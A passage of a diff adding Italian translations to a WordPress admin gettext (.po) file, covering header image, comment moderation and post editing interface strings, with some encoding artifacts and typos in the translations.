+#: wp-admin/custom-header.php:279
+msgid "This is your header image. You can change the text color or upload and crop a new image."
+msgstr "Questa Ãš l&#l8217;immagine per la testata. &Egrave; possibile modificare il colore del testo e ritagliare una nuova immagine."
+
+#: wp-admin/custom-header.php:288
+msgid "Select a Text Color"
+msgstr "Seleziona un colore per il testo"
+
+#: wp-admin/custom-header.php:288
+msgid "Use Original Color"
+msgstr "Utilizza i colori originali"
+
+#: wp-admin/custom-header.php:290
+#: wp-admin/import/blogger.php:661
+#: wp-admin/options-discussion.php:223
+#: wp-admin/options-general.php:274
+#: wp-admin/options-media.php:68
+#: wp-admin/options-misc.php:70
+#: wp-admin/options-permalink.php:221
+#: wp-admin/options-privacy.php:42
+#: wp-admin/options-reading.php:83
+#: wp-admin/options-writing.php:130
+#: wp-admin/options.php:133
+msgid "Save Changes"
+msgstr "Salva le modifiche"
+
+#: wp-admin/custom-header.php:296
+msgid "Upload New Header Image"
+msgstr "Carica una nuova immagine per la testata"
+
+#: wp-admin/custom-header.php:296
+msgid "Here you can upload a custom header image to be shown at the top of your blog instead of the default one. On the next screen you will be able to crop the image."
+msgstr "Qui Ãš possibile caricare una nuova immagine per la testata che verrÃ  visualizzata in cima al blog al posto di quella predefinita. Nella prossima schermata si avrÃ  la possibilitÃ  di ritagliare l&#8217;immagine."
+
+#: wp-admin/custom-header.php:297
+#, php-format
+msgid "Images of exactly <strong>%1$d x %2$d pixels</strong> will be used as-is."
+msgstr "Immagini di dimensione esattamente pari a <strong>%1$d x %2$d pixel</strong> verranno utilizzate cosÃ¬ come sono."
+
+#: wp-admin/custom-header.php:300
+msgid "Choose an image from your computer:"
+msgstr "Seleziona una immagine dal tuo computer:"
+
+#: wp-admin/custom-header.php:304
+#: wp-admin/includes/media.php:1371
+#: wp-admin/includes/media.php:1372
+#: wp-admin/includes/template.php:3255
+#: wp-admin/plugin-install.php:27
+#: wp-admin/theme-install.php:32
+msgid "Upload"
+msgstr "Carica media"
+
+#: wp-admin/custom-header.php:312
+msgid "Reset Header Image and Color"
+msgstr "Ripristina immagine della testata e colori"
+
+#: wp-admin/custom-header.php:313
+msgid "This will restore the original header image and color. You will not be able to retrieve any customizations."
+msgstr "Questa opzione ripristinerÃ  l&#8217;immagine della testata ed i colori originali. Non si potranno piÃ¹ recuperare eventuali personalizzazioni."
+
+#: wp-admin/custom-header.php:316
+msgid "Restore Original Header"
+msgstr "Ripristina la testata originale"
+
+#: wp-admin/custom-header.php:377
+msgid "Choose the part of the image you want to use as your header."
+msgstr "Seleziona la parte dell&#8217;immagine che desideri utilizzare nella testata."
+
+#: wp-admin/custom-header.php:392
+msgid "Crop Header"
+msgstr "Ritaglia la testata"
+
+#: wp-admin/custom-header.php:454
+msgid "Header complete!"
+msgstr "Testata completata!"
+
+#: wp-admin/custom-header.php:456
+msgid "Visit your site and you should see the new header now."
+msgstr "Visita il tuo sito e dovresti ora vedere la nuova testata."
+
+#: wp-admin/edit-attachment-rows.php:65
+#: wp-admin/edit-attachment-rows.php:77
+#: wp-admin/edit-attachment-rows.php:185
+#: wp-admin/includes/dashboard.php:450
+#: wp-admin/includes/template.php:128
+#: wp-admin/includes/template.php:299
+#: wp-admin/includes/template.php:662
+#: wp-admin/includes/template.php:1441
+#: wp-admin/includes/template.php:1659
+#: wp-admin/link-manager.php:197
+#: wp-admin/upload.php:332
+#: wp-admin/upload.php:335
+#, php-format
+msgid "Edit &#8220;%s&#8221;"
+msgstr "Modifica &#8220;%s&#8221;"
+
+#: wp-admin/edit-attachment-rows.php:83
+#: wp-admin/edit-attachment-rows.php:185
+#: wp-admin/edit-form-advanced.php:129
+#: wp-admin/edit-form-advanced.php:169
+#: wp-admin/edit-form-advanced.php:218
+#: wp-admin/edit-form-comment.php:63
+#: wp-admin/edit-page-form.php:123
+#: wp-admin/edit-page-form.php:163
+#: wp-admin/edit-page-form.php:205
+#: wp-admin/edit-pages.php:217
+#: wp-admin/edit-pages.php:256
+#: wp-admin/edit.php:195
+#: wp-admin/edit.php:275
+#: wp-admin/includes/dashboard.php:541
+#: wp-admin/includes/post.php:1007
+#: wp-admin/includes/template.php:130
+#: wp-admin/includes/template.php:301
+#: wp-admin/includes/template.php:664
+#: wp-admin/includes/template.php:1448
+#: wp-admin/includes/template.php:1538
+#: wp-admin/includes/template.php:1663
+#: wp-admin/includes/template.php:1911
+#: wp-admin/includes/template.php:2155
+#: wp-admin/includes/widgets.php:167
+#: wp-admin/link-manager.php:199
+#: wp-admin/menu.php:33
+#: wp-admin/menu.php:54
+#: wp-admin/menu.php:60
+#: wp-admin/plugins.php:400
+#: wp-admin/upload.php:342
+#: wp-includes/script-loader.php:275
+#: wp-includes/script-loader.php:299
+#: wp-includes/script-loader.php:325
+msgid "Edit"
+msgstr "Modifica"
+
+#: wp-admin/edit-attachment-rows.php:85
+#: wp-admin/upload.php:344
+#, php-format
+msgid ""
+"You are about to delete this attachment '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si sta per cancellare questo allegato '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/edit-attachment-rows.php:86
+#: wp-admin/includes/template.php:1458
+#: wp-admin/includes/template.php:1673
+#: wp-admin/upload.php:345
+#, php-format
+msgid "View &#8220;%s&#8221;"
+msgstr "Visualizza &#8220;%s&#8221;"
+
+#: wp-admin/edit-attachment-rows.php:86
+#: wp-admin/includes/template.php:1458
+#: wp-admin/includes/template.php:1532
+#: wp-admin/includes/template.php:1673
+#: wp-admin/upload.php:345
+msgid "View"
+msgstr "Visualizza"
+
+#: wp-admin/edit-attachment-rows.php:116
+#: wp-admin/includes/template.php:1503
+msgid "No Tags"
+msgstr "Nessun tag"
+
+#: wp-admin/edit-attachment-rows.php:132
+#: wp-admin/includes/dashboard.php:450
+#: wp-admin/includes/template.php:1407
+#: wp-admin/includes/template.php:1629
+#: wp-admin/upload.php:361
+msgid "Y/m/d g:i:s A"
+msgstr "d/m/Y G:i:s"
+
+#: wp-admin/edit-attachment-rows.php:137
+#: wp-admin/upload.php:366
+#, php-format
+msgid "%s from now"
+msgstr "%s da ora"
+
+#: wp-admin/edit-attachment-rows.php:139
+#: wp-admin/includes/plugin-install.php:507
+#: wp-admin/includes/template.php:1414
+#: wp-admin/includes/template.php:1636
+#: wp-admin/includes/template.php:2096
+#: wp-admin/includes/theme-install.php:325
+#: wp-admin/upload.php:368
+#, php-format
+msgid "%s ago"
+msgstr "%s fa"
+
+#: wp-admin/edit-attachment-rows.php:171
+#: wp-admin/includes/template.php:1513
+#: wp-admin/includes/template.php:1696
+#: wp-admin/includes/template.php:2219
+#, php-format
+msgid "%s pending"
+msgstr "%s in sospeso"
+
+#. translators: comment count link
+#: wp-admin/edit-attachment-rows.php:174
+#: wp-admin/includes/template.php:1516
+#: wp-admin/includes/template.php:1699
+#: wp-admin/includes/template.php:2222
+msgctxt "comment count"
+msgid "0"
+msgstr "0"
+
+#. translators: comment count link
+#: wp-admin/edit-attachment-rows.php:174
+#: wp-admin/includes/template.php:1516
+#: wp-admin/includes/template.php:1699
+#: wp-admin/includes/template.php:2222
+msgctxt "comment count"
+msgid "1"
+msgstr "1"
+
+#. translators: comment count link: % will be substituted by comment count
+#: wp-admin/edit-attachment-rows.php:174
+#: wp-admin/includes/template.php:1516
+#: wp-admin/includes/template.php:1699
+#: wp-admin/includes/template.php:2222
+msgctxt "comment count"
+msgid "%"
+msgstr "%"
+
+#: wp-admin/edit-attachment-rows.php:186
+msgid "Get permalink"
+msgstr "Ottieni i permalink"
+
+#: wp-admin/edit-attachment-rows.php:205
+#: wp-admin/upload.php:378
+msgid "No media attachments found."
+msgstr "Nessun allegato media trovato."
+
+#: wp-admin/edit-category-form.php:74
+#: wp-admin/edit-link-category-form.php:20
+#: wp-admin/includes/template.php:266
+msgid "Update Category"
+msgstr "Aggiorna categoria"
+
+#: wp-admin/edit-comments.php:80
+#, php-format
+msgid "Edit Comments on &#8220;%s&#8221;"
+msgstr "Modifica commenti su &#8220;%s&#8221;"
+
+#: wp-admin/edit-comments.php:82
+msgid "Edit Comments"
+msgstr "Modifica commenti"
+
+#: wp-admin/edit-comments.php:114
+#, php-format
+msgid "%s comment approved"
+msgid_plural "%s comments approved"
+msgstr[0] "%s commento approvato."
+msgstr[1] "%s commenti approvati."
+
+#: wp-admin/edit-comments.php:119
+#, php-format
+msgid "%s comment deleted"
+msgid_plural "%s comments deleted"
+msgstr[0] "%1$s commento cancellato"
+msgstr[1] "%1$s commenti cancellati"
+
+#: wp-admin/edit-comments.php:124
+#, php-format
+msgid "%s comment marked as spam"
+msgid_plural "%s comments marked as spam"
+msgstr[0] "%s commento marcato come spam"
+msgstr[1] "%s commenti marcati come spam."
+
+#: wp-admin/edit-comments.php:141
+#: wp-content/plugins/akismet/akismet.php:726
+msgid "All"
+msgid_plural "All"
+msgstr[0] "Tutto"
+msgstr[1] "Tutti"
+
+#: wp-admin/edit-comments.php:142
+#, php-format
+msgid "Pending (<span class=\"pending-count\">%s</span>)"
+msgid_plural "Pending (<span class=\"pending-count\">%s</span>)"
+msgstr[0] "In sospeso <span class=\"count\">(%s)</span>"
+msgstr[1] "In sospeso <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-comments.php:143
+msgid "Approved"
+msgid_plural "Approved"
+msgstr[0] "Approvato"
+msgstr[1] "Approvati"
+
+#: wp-admin/edit-comments.php:144
+#, php-format
+msgid "Spam (<span class=\"spam-count\">%s</span>)"
+msgid_plural "Spam (<span class=\"spam-count\">%s</span>)"
+msgstr[0] "Spam <span class=\"count\">(%s)</span>"
+msgstr[1] "Spam <span class=\"count\">(%s)</span>"
+
+#: wp-admin/edit-comments.php:178
+#: wp-admin/edit-comments.php:180
+msgid "Search Comments"
+msgstr "Cerca commenti"
+
+#: wp-admin/edit-comments.php:232
+#: wp-admin/edit-pages.php:206
+#: wp-admin/edit.php:245
+#: wp-admin/includes/user.php:731
+#: wp-admin/plugins.php:349
+#: wp-admin/themes.php:158
+#: wp-admin/upload.php:234
+#, php-format
+msgid "Displaying %s&#8211;%s of %s"
+msgstr "Sono visualizzati %s&#8211;%s su %s"
+
+#: wp-admin/edit-comments.php:247
+#: wp-admin/edit-comments.php:334
+#: wp-admin/includes/dashboard.php:540
+#: wp-admin/includes/template.php:2142
+#: wp-admin/includes/template.php:2145
+msgid "Unapprove"
+msgstr "Non approvare"
+
+#: wp-admin/edit-comments.php:250
+#: wp-admin/edit-comments.php:337
+#: wp-admin/includes/dashboard.php:539
+#: wp-admin/includes/template.php:2141
+#: wp-admin/includes/template.php:2148
+msgid "Approve"
+msgstr "Approva"
+
+#: wp-admin/edit-comments.php:253
+#: wp-admin/edit-comments.php:340
+msgid "Mark as Spam"
+msgstr "Marca come spam"
+
+#: wp-admin/edit-comments.php:261
+msgid "Show all comment types"
+msgstr "Mostra tutti i tipi di commenti"
+
+#: wp-admin/edit-comments.php:264
+#: wp-admin/edit-form-advanced.php:484
+#: wp-admin/import/blogger.php:205
+#: wp-admin/includes/file.php:14
+#: wp-admin/includes/template.php:1166
+#: wp-admin/includes/template.php:3140
+#: wp-admin/includes/template.php:3256
+#: wp-content/plugins/akismet/akismet.php:731
+#: wp-content/themes/classic/comments-popup.php:29
+msgid "Comments"
+msgstr "Commenti"
+
+#: wp-admin/edit-comments.php:265
+#: wp-admin/includes/template.php:1175
+msgid "Pings"
+msgstr "Ping"
+
+#: wp-admin/edit-comments.php:275
+#: wp-admin/edit.php:239
+#: wp-admin/link-manager.php:127
+#: wp-admin/upload.php:283
+msgid "Filter"
+msgstr "Filtra"
+
+#: wp-admin/edit-comments.php:284
+#: wp-admin/edit-comments.php:347
+msgid "Delete All Spam"
+msgstr "Cancella tutto lo spam"
+
+#: wp-admin/edit-comments.php:371
+msgid "No comments awaiting moderation&hellip; yet."
+msgstr "No vi Ãš ancora alcun commento in attesa di moderazione."
+
+#: wp-admin/edit-comments.php:375
+#: wp-content/plugins/akismet/akismet.php:857
+msgid "No results found."
+msgstr "Nessun risultato trovato."
+
+#: wp-admin/edit-form-advanced.php:19
+#, php-format
+msgid "Post updated. <a href=\"%s\">View post</a>"
+msgstr "Articolo aggiornato. <a href=\"%s\">Visualizza articolo</a>"
+
+#: wp-admin/edit-form-advanced.php:20
+#: wp-admin/edit-page-form.php:22
+msgid "Custom field updated."
+msgstr "Aggiornato comapo personalizzato."
+
+#: wp-admin/edit-form-advanced.php:21
+#: wp-admin/edit-page-form.php:23
+msgid "Custom field deleted."
+msgstr "Campo personalizzato: cancellato."
+
+#: wp-admin/edit-form-advanced.php:22
+msgid "Post updated."
+msgstr "Articolo aggiornato."
+
+#: wp-admin/edit-form-advanced.php:23
+#, php-format
+msgid "Post published. <a href=\"%s\">View post</a>"
+msgstr "Articolo pubblicato <a href=\"%s\">Visualizza articolo</a>"
+
+#: wp-admin/edit-form-advanced.php:24
+#: wp-admin/sidebar.php:100
+msgid "Post saved."
+msgstr "Articolo salvato."
+
+#: wp-admin/edit-form-advanced.php:25
+#, php-format
+msgid "Post submitted. <a href=\"%s\">Preview post</a>"
+msgstr "Articolo inviato. <a href=\"%s\">Anteprima articolo</a>"
+
+#: wp-admin/edit-form-advanced.php:28
+#, php-format
+msgid "Post restored to revision from %s"
+msgstr "Articolo ripristinato alla revisione da %s"
+
+#: wp-admin/edit-form-advanced.php:31
+#, php-format
+msgid "There is an autosave of this post that is more recent than the version below.  <a href=\"%s\">View the autosave</a>."
+msgstr "Vi Ãš un salvataggio automatico per questo articolo che Ãš piÃ¹ recente della versione sottostante. <a href=\"%s\">Visualizza il salvataggio automatico</a>. "
+
+#: wp-admin/edit-form-advanced.php:75
+#: wp-admin/edit-link-form.php:63
+#: wp-admin/edit-link-form.php:106
+#: wp-admin/edit-page-form.php:69
+#: wp-admin/includes/widgets.php:196
+#: wp-content/themes/default/functions.php:383
+#: wp-content/themes/default/functions.php:390
+#: wp-includes/js/tinymce/langs/wp-langs.php:76
+#: wp-includes/script-loader.php:262
+msgid "Save"
+msgstr "Salva"
+
+#: wp-admin/edit-form-advanced.php:81
+#: wp-admin/edit-page-form.php:75
+#: wp-admin/includes/dashboard.php:415
+#: wp-admin/press-this.php:460
+#: wp-includes/script-loader.php:285
+#: wp-includes/script-loader.php:309
+msgid "Save Draft"
+msgstr "Salva bozza"
+
+#: wp-admin/edit-form-advanced.php:83
+#: wp-admin/edit-page-form.php:77
+#: wp-includes/script-loader.php:284
+#: wp-includes/script-loader.php:308
+msgid "Save as Pending"
+msgstr "Salva come in sospeso"
+
+#: wp-admin/edit-form-advanced.php:91
+#: wp-admin/edit-page-form.php:85
+msgid "Preview Changes"
+msgstr "Anteprima modifiche"
+
+#: wp-admin/edit-form-advanced.php:94
+#: wp-admin/edit-page-form.php:88
+#: wp-admin/includes/class-wp-upgrader.php:947
+#: wp-admin/includes/class-wp-upgrader.php:1004
+#: wp-admin/includes/template.php:1456
+#: wp-admin/includes/template.php:1671
+#: wp-admin/includes/theme-install.php:305
+#: wp-admin/themes.php:214
+#: wp-includes/js/tinymce/langs/wp-langs.php:62
+#: wp-includes/js/tinymce/langs/wp-langs.php:308
+msgid "Preview"
+msgstr "Anteprima"
+
+#: wp-admin/edit-form-advanced.php:106
+#: wp-admin/edit-page-form.php:100
+msgid "Status:"
+msgstr "Stato:"
+
+#: wp-admin/edit-form-advanced.php:111
+#: wp-admin/edit-form-advanced.php:137
+#: wp-admin/edit-page-form.php:105
+#: wp-admin/edit-page-form.php:131
+#: wp-includes/script-loader.php:290
+#: wp-includes/script-loader.php:313
+msgid "Privately Published"
+msgstr "Pubblicato privatamente"
+
+#: wp-admin/edit-form-advanced.php:123
+#: wp-admin/edit-form-advanced.php:142
+#: wp-admin/edit-page-form.php:117
+#: wp-admin/edit-page-form.php:136
+#: wp-admin/includes/template.php:1216
+#: wp-admin/includes/template.php:3390
+#: wp-includes/post.php:356
+#: wp-includes/post.php:377
+msgid "Draft"
+msgstr "Bozza"
+
+#: wp-admin/edit-form-advanced.php:144
+#: wp-admin/edit-form-advanced.php:184
+#: wp-admin/edit-page-form.php:139
+#: wp-admin/edit-page-form.php:174
+#: wp-admin/includes/template.php:2582
+msgid "OK"
+msgstr "OK"
+
+#: wp-admin/edit-form-advanced.php:145
+#: wp-admin/edit-form-advanced.php:185
+#: wp-admin/edit-page-form.php:140
+#: wp-admin/edit-page-form.php:175
+#: wp-admin/includes/dashboard.php:118
+#: wp-admin/includes/media.php:1177
+#: wp-admin/includes/media.php:1372
+#: wp-admin/includes/template.php:265
+#: wp-admin/includes/template.php:1256
+#: wp-admin/includes/template.php:2297
+#: wp-admin/includes/template.php:2498
+#: wp-admin/includes/template.php:2583
+#: wp-admin/includes/theme-install.php:511
+#: wp-admin/press-this.php:121
+#: wp-admin/press-this.php:145
+#: wp-admin/press-this.php:175
+#: wp-admin/press-this.php:298
+#: wp-admin/widgets.php:284
+#: wp-includes/js/tinymce/langs/wp-langs.php:30
+#: wp-includes/script-loader.php:263
+#: wp-includes/script-loader.php:274
+#: wp-includes/script-loader.php:298
+#: wp-includes/script-loader.php:324
+msgid "Cancel"
+msgstr "Annulla"
+
+#: wp-admin/edit-form-advanced.php:152
+#: wp-admin/edit-page-form.php:147
+msgid "Visibility:"
+msgstr "VisibilitÃ :"
+
+#: wp-admin/edit-form-advanced.php:157
+#: wp-admin/edit-form-advanced.php:181
+#: wp-admin/edit-page-form.php:152
+#: wp-admin/edit-page-form.php:172
+#: wp-admin/includes/template.php:1212
+#: wp-admin/includes/template.php:3388
+#: wp-includes/post.php:358
+#: wp-includes/post.php:378
+#: wp-includes/script-loader.php:286
+#: wp-includes/script-loader.php:310
+msgid "Private"
+msgstr "Privato"
+
+#: wp-admin/edit-form-advanced.php:160
+#: wp-admin/edit-form-advanced.php:179
+#: wp-admin/edit-page-form.php:155
+#: wp-admin/edit-page-form.php:170
+#: wp-admin/includes/template.php:3386
+msgid "Password protected"
+msgstr "Protetto da password"
+
+#: wp-admin/edit-form-advanced.php:163
+#: wp-includes/script-loader.php:288
+msgid "Public, Sticky"
+msgstr "Pubbblico, evidenziato"
+
+#: wp-admin/edit-form-advanced.php:166
+#: wp-admin/edit-form-advanced.php:177
+#: wp-admin/edit-page-form.php:158
+#: wp-admin/edit-page-form.php:169
+#: wp-includes/script-loader.php:287
+#: wp-includes/script-loader.php:311
+msgid "Public"
+msgstr "Pubblico"
+
+#: wp-admin/edit-form-advanced.php:178
+msgid "Stick this post to the front page"
+msgstr "Mantieni sempre in prima pagina"
+
+#: wp-admin/edit-form-advanced.php:180
+#: wp-admin/edit-page-form.php:171
+#: wp-includes/post-template.php:1142
+msgid "Password:"
+msgstr "Password:"
+
+#. translators: Publish box date formt, see http://php.net/date
+#: wp-admin/edit-form-advanced.php:195
+#: wp-admin/edit-form-comment.php:59
+#: wp-admin/edit-page-form.php:183
+msgid "M j, Y @ G:i"
+msgstr "j F Y @ H:i"
+
+#: wp-admin/edit-form-advanced.php:198
+#: wp-admin/edit-page-form.php:186
+#, php-format
+msgid "Scheduled for: <b>%1$s</b>"
+msgstr "Programmato il: <b>%1$s</b>"
+
+#: wp-admin/edit-form-advanced.php:200
+#: wp-admin/edit-page-form.php:188
+#, php-format
+msgid "Published on: <b>%1$s</b>"
+msgstr "Pubblicato il: <b>%1$s</b>"
+
+#: wp-admin/edit-form-advanced.php:202
+#: wp-admin/edit-form-advanced.php:210
+#: wp-admin/edit-page-form.php:190
+#: wp-admin/edit-page-form.php:198
+msgid "Publish <b>immediately</b>"
+msgstr "Pubblica <b>subito</b>"
+
+#: wp-admin/edit-form-advanced.php:204
+#: wp-admin/edit-page-form.php:192
+#, php-format
+msgid "Schedule for: <b>%1$s</b>"
+msgstr "Programmato per: <b>%1$s</b>"
+
+#: wp-admin/edit-form-advanced.php:206
+#: wp-admin/edit-page-form.php:194
+#, php-format
+msgid "Publish on: <b>%1$s</b>"
+msgstr "Pubblicato il: <b>%1$s</b>"
+
+#: wp-admin/edit-form-advanced.php:232
+#: wp-admin/edit-page-form.php:219
+#, php-format
+msgid ""
+"You are about to delete this draft '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"You are about to delete this draft '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+
+#: wp-admin/edit-form-advanced.php:232
+#, php-format
+msgid ""
+"You are about to delete this post '%s'\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Stai per cancellare questo articolo '%s'\n"
+" \\'Annulla\\' per interrompere, \\'OK\\' per cancellare."
+
+#: wp-admin/edit-form-advanced.php:241
+#: wp-admin/edit-form-advanced.php:242
+#: wp-admin/edit-page-form.php:229
+#: wp-admin/edit-page-form.php:230
+#: wp-includes/script-loader.php:282
+#: wp-includes/script-loader.php:306
+msgid "Schedule"
+msgstr "Programmato"
+
+#: wp-admin/edit-form-advanced.php:244
+#: wp-admin/edit-form-advanced.php:245
+#: wp-admin/edit-form-advanced.php:264
+#: wp-admin/edit-page-form.php:232
+#: wp-admin/edit-page-form.php:233
+#: wp-admin/edit-page-form.php:251
+#: wp-admin/includes/dashboard.php:418
+#: wp-admin/press-this.php:457
+#: wp-admin/press-this.php:462
+#: wp-admin/sidebar.php:121
+#: wp-includes/script-loader.php:281
+#: wp-includes/script-loader.php:305
+msgid "Publish"
+msgstr "Pubblica"
+
+#: wp-admin/edit-form-advanced.php:248
+#: wp-admin/edit-form-advanced.php:249
+#: wp-admin/edit-page-form.php:236
+#: wp-admin/edit-page-form.php:237
+#: wp-admin/includes/dashboard.php:420
+#: wp-admin/press-this.php:464
+msgid "Submit for Review"
+msgstr "Invia per la revisione"
+
+#: wp-admin/edit-form-advanced.php:253
+#: wp-admin/edit-form-advanced.php:254
+#: wp-admin/includes/template.php:1259
+#: wp-includes/script-loader.php:283
+msgid "Update Post"
+msgstr "Aggiorna articolo"
+
+#: wp-admin/edit-form-advanced.php:276
+msgid "Separate tags with commas."
+msgstr "Separare i tag con delle virgole."
+
+#: wp-admin/edit-form-advanced.php:281
+msgid "Add or remove tags"
+msgstr "Aggoimgi o rimuovi tag"
+
+#: wp-admin/edit-form-advanced.php:286
+#: wp-admin/press-this.php:502
+#: wp-includes/script-loader.php:272
+msgid "Add new tag"
+msgstr "Aggiungi nuovo tag"
+
+#: wp-admin/edit-form-advanced.php:287
+#: wp-admin/edit-form-advanced.php:338
+#: wp-admin/edit-link-form.php:143
+#: wp-admin/includes/widgets.php:167
+#: wp-admin/press-this.php:486
+#: wp-admin/press-this.php:503
+#: wp-includes/script-loader.php:214
+#: wp-includes/script-loader.php:271
+msgid "Add"
+msgstr "Aggiungi"
+
+#: wp-admin/edit-form-advanced.php:292
+#, php-format
+msgid "Choose from the most used tags in %s"
+msgstr "Selezionare fra i tag maggiormente utilizzati in %s"
+
+#: wp-admin/edit-form-advanced.php:316
+#: wp-admin/edit-link-form.php:117
+msgid "All Categories"
+msgstr "Tutte le categorie"
+
+#: wp-admin/edit-form-advanced.php:317
+#: wp-admin/edit-link-form.php:118
+msgid "Most Used"
+msgstr "PiÃ¹ utilizzate"
+
+#: wp-admin/edit-form-advanced.php:334
+#: wp-admin/edit-link-form.php:139
+#: wp-admin/edit-link-form.php:141
+#: wp-admin/press-this.php:482
+msgid "+ Add New Category"
+msgstr "+ Aggiungi una nuova categoria"
+
+#: wp-admin/edit-form-advanced.php:336
+#: wp-admin/press-this.php:484
+msgid "Add New Category"
+msgstr "Aggiungi una nuova categoria"
+
+#: wp-admin/edit-form-advanced.php:336
+#: wp-admin/edit-link-form.php:142
+#: wp-admin/press-this.php:484
+msgid "New category name"
+msgstr "Nuovo nome di categoria"
+
+#: wp-admin/edit-form-advanced.php:337
+#: wp-admin/press-this.php:485
+msgid "Parent category"
+msgstr "Categoria madre"
+
+#: wp-admin/edit-form-advanced.php:357
+msgid "Keep this post private"
+msgstr "Mantenere questo articolo privato"
+
+#: wp-admin/edit-form-advanced.php:358
+msgid "Post Password"
+msgstr "Password articolo"
+
+#: wp-admin/edit-form-advanced.php:359
+msgid "Password Protect This Post"
+msgstr "Proteggere questo articolo con password"
+
+#: wp-admin/edit-form-advanced.php:360
+msgid "Setting a password will require people who visit your blog to enter the above password to view this post and its comments."
+msgstr "Impostando una password si richiederÃ  alle persone che visitano il blog di immettere la password sopra indicata per visualizzare l&#8217;articolo ed i suoi commenti."
+
+#: wp-admin/edit-form-advanced.php:374
+#: wp-admin/edit-form-advanced.php:378
+#: wp-includes/post.php:3427
+msgid "Excerpt"
+msgstr "Riassunto"
+
+#: wp-admin/edit-form-advanced.php:375
+msgid "Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href=\"http://codex.wordpress.org/Excerpt\" target=\"_blank\">Learn more about manual excerpts.</a>"
+msgstr "I riassunti sono dei sommari, scritti manualmente ed opzionali, del contenuto degli articoli che possono venir usati nel proprio tema. <a href=\"http://codex.wordpress.org/Excerpt\" target=\"_blank\">Maggiori informazioni sui riassunti manuali.</a>"
+
+#: wp-admin/edit-form-advanced.php:390
+msgid "Already pinged:"
+msgstr "Ping giÃ  inviati a:"
+
+#: wp-admin/edit-form-advanced.php:399
+msgid "Send trackbacks to:"
+msgstr "Invia trackback a:"
+
+#: wp-admin/edit-form-advanced.php:399
+msgid "Separate multiple URLs with spaces"
+msgstr "Separare piÃ¹ URL con degli spazi"
+
+#: wp-admin/edit-form-advanced.php:400
+msgid "Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress blogs they&#8217;ll be notified automatically using <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">pingbacks</a>, no other action necessary."
+msgstr "I trackback sono il metodo per notificare altri blog che avete fatto un link verso di loro. Se si effettua un link ad altri blog WordPress questi verranno notificati automaticamente tramite un <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">pingback</a>, non serve effettuare alcuna altra operazione."
+
+#: wp-admin/edit-form-advanced.php:405
+msgid "Send Trackbacks"
+msgstr "Invia trackback"
+
+#: wp-admin/edit-form-advanced.php:423
+#: wp-admin/edit-page-form.php:316
+msgid "Custom fields can be used to add extra metadata to a post that you can <a href=\"http://codex.wordpress.org/Using_Custom_Fields\" target=\"_blank\">use in your theme</a>."
+msgstr "I campi personalizzati si possono utilizzare per aggiungere dei metadati aggiuntivi ad un articolo, tali dati potranno poi venir <a href=\"http://codex.wordpress.org/Using_Custom_Fields\" target=\"_blank\">utilizzati in un tema</a>."
+
+#: wp-admin/edit-form-advanced.php:426
+#: wp-admin/edit-page-form.php:319
+msgid "Custom Fields"
+msgstr "Campi personalizzati"
+
+#: wp-admin/edit-form-advanced.php:441
+msgid "Allow comments on this post"
+msgstr "Permetti commenti a questo articolo."
+
+#: wp-admin/edit-form-advanced.php:442
+msgid "Allow <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">trackbacks and pingbacks</a> on this post"
+msgstr "Permettere <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">trackback e pingback</a> a questo articolo"
+
+#: wp-admin/edit-form-advanced.php:445
+#: wp-admin/edit-page-form.php:338
+#: wp-admin/menu.php:111
+msgid "Discussion"
+msgstr "Discussione"
+
+#: wp-admin/edit-form-advanced.php:460
+#: wp-admin/includes/dashboard.php:516
+#: wp-content/themes/classic/comments-popup.php:58
+#: wp-content/themes/classic/comments.php:32
+msgid "No comments yet."
+msgstr "Non c&#8217;Ãš ancora nessun commento."
+
+#: wp-admin/edit-form-advanced.php:475
+msgid "Show comments"
+msgstr "Mostra i commenti"
+
+#: wp-admin/edit-form-advanced.php:495
+#: wp-admin/edit-form-advanced.php:499
+msgid "Post Slug"
+msgstr "Abbreviazione articolo"
+
+#: wp-admin/edit-form-advanced.php:518
+#: wp-admin/edit-form-advanced.php:521
+msgid "Post Author"
+msgstr "Autore articolo"
+
+#: wp-admin/edit-form-advanced.php:535
+#: wp-admin/revision.php:141
+msgid "Post Revisions"
+msgstr "Revisioni articolo"
+
+#: wp-admin/edit-form-advanced.php:625
+#: wp-admin/edit-page-form.php:463
+#, php-format
+msgid "Last edited by %1$s on %2$s at %3$s"
+msgstr "Ultima modifica di %1$s il %2$s alle %3$s"
+
+#: wp-admin/edit-form-advanced.php:627
+#: wp-admin/edit-page-form.php:465
+#, php-format
+msgid "Last edited on %1$s at %2$s"
+msgstr "Ultima modifica il %1$s alle %2$s"
+
+#: wp-admin/edit-form-comment.php:13
+#, php-format
+msgid "Editing Comment # %s"
+msgstr "Si sta modificando il commento # %s"
+
+#: wp-admin/edit-form-comment.php:43
+msgid "View Comment"
+msgstr "Mostra commento"
+
+#. translators: comment type radio button
+#. translators: comment status
+#: wp-admin/edit-form-comment.php:51
+#: wp-includes/comment.php:258
+msgctxt "adjective"
+msgid "Approved"
+msgstr "Approvato"
+
+#. translators: comment type radio button
+#: wp-admin/edit-form-comment.php:52
+msgctxt "adjective"
+msgid "Pending"
+msgstr "In sospeso"
+
+#. translators: comment type radio button
+#. translators: comment status
+#: wp-admin/edit-form-comment.php:53
+#: wp-includes/comment.php:260
+msgctxt "adjective"
+msgid "Spam"
+msgstr "Spam"
+
+#: wp-admin/edit-form-comment.php:60
+#, php-format
+msgid "Submitted on: <b>%1$s</b>"
+msgstr "Inviato il: <b>%1$s</b>"
+
+#: wp-admin/edit-form-comment.php:72
+msgid ""
+"You are about to delete this comment. \n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Stai per cancellare questo commento. \n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/edit-form-comment.php:75
+#: wp-admin/includes/template.php:2299
